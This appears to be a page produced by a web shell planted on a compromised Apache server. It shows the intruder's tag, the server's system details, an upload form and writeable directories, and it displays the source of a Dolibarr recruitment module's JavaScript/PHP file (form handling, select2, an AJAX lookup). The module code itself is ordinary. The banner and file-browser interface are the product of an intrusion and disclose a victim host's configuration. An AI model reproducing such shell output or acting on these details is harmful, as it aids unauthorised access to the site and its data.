Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/recrutement/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/recrutement/js/recrutement.js.php
<?php 

if (!defined('NOREQUIRESOC')) {
	define('NOREQUIRESOC', '1');
}
if (!defined('NOCSRFCHECK')) {
	define('NOCSRFCHECK', 1);
}
if (!defined('NOTOKENRENEWAL')) {
	define('NOTOKENRENEWAL', 1);
}
if (!defined('NOLOGIN')) {
	define('NOLOGIN', 1);
}
if (!defined('NOREQUIREMENU')) {
	define('NOREQUIREMENU', 1);
}
if (!defined('NOREQUIREHTML')) {
	define('NOREQUIREHTML', 1);
}
if (!defined('NOREQUIREAJAX')) {
	define('NOREQUIREAJAX', '1');
}

// define('ISLOADEDBYSTEELSHEET', '1');
// session_cache_limiter('public');

$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include("../../main.inc.php");       // For root directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include("../../../main.inc.php"); // For "custom" 

// Define mime type
top_httphead('text/javascript');


dol_include_once('/core/lib/functions.lib.php');
dol_include_once('/recrutement/class/candidatures.class.php');
dol_include_once('/core/class/html.formother.class.php');


$candidature = new candidatures($db);
$formother = new FormOther($db);
// Define mime type
global $langs;
$var = false;

?>

jQuery(document).ready(function() {
 $('#validatesumitbutton').click(function(){
		$('input[type="submit"]').click();
	});
	// $( ".datepickerncon" ).datepicker({
	//     dateFormat: 'dd/mm/yy'
	// });
	$('.select_degrees').select2();
	$('.select_majors').select2();
	$('.tablerecrutement #select_srch_nom').select2();
	$('.tablerecrutement #select_srch_poste').select2();
	$('#add_major').click(function(){
		id = $('#tab_level').find('tr').length;
		$('#tab_level').append('<tr><td style="text-align:center;" class=""><select onchange="GetMajors(this)" class="select_degrees"  name="leveled['+id+'][degree]"><?php echo $candidature->select_degrees(0); ?> </select></td><td style="text-align:center;" class=""><select class="select_majors" name="leveled['+id+'][major]"></select></td><td style="text-align:center;"><input type="number" name="leveled['+id+'][year]" min="0" class="select_years maxwidth75imp" value="<?php echo date('Y')?>"></td><td style="text-align:center;" class="width50"><a class="deletelevel" onclick="DeleteLevel(this)"><?php echo img_delete()?></a></td></tr>');
    	$('.select_degrees').select2();
		$('.select_majors').select2();
    });


	
});

$(window).on('load', function() {
	$(".datepickerncon").datepicker("destroy");
	$('.datepickerncon').removeClass('hasDatepicker');
	$("input.datepickerncon").datepicker({
		dateFormat: "dd/mm/yy"
	});

	// $('.timepicker99').timepicker({
	//     format: 'H:i',
	// });
	
});

function GetMajors(x) {
	val = $(x).val();
	$.ajax({
		data:{'fk_degree':val},
		url:'<?php echo dol_buildpath("/recrutement/candidatures/ajax/getMajors.php",2) ?>',
		type:'POST',
        success:function(data){
            $(x).parents('tr').find('.select_majors').html(data);
        }
	});
}

function DeleteLevel(x) {
	$(x).parents('tr').remove();
}

function RemoveLevel(x) {
	Dataremove = $('.dataremove').val();
	if(Dataremove) newdata = Dataremove+','+$(x).data('id');
	else newdata = $(x).data('id');
	$('.dataremove').val(newdata);
	DeleteLevel($(x));
}

function textarea_autosize(){
  	$("textarea").each(function(textarea) {
		$(this).height($(this)[0].scrollHeight);
		$(this).css('resize', 'none');
  	});
}

function get_status_appreciation(input) {
	$status=$(input).data('status');
	$id=$(input).val();
	if($id > 2){
		$('.appreciationdetail').addClass('greenbg');
		$('.appreciationdetail').removeClass('redbg');
	}else{
	 	$('.appreciationdetail').removeClass('greenbg');
		$('.appreciationdetail').addClass('redbg');
	}
	$('.appreciationdetail').html($status);
}

Hry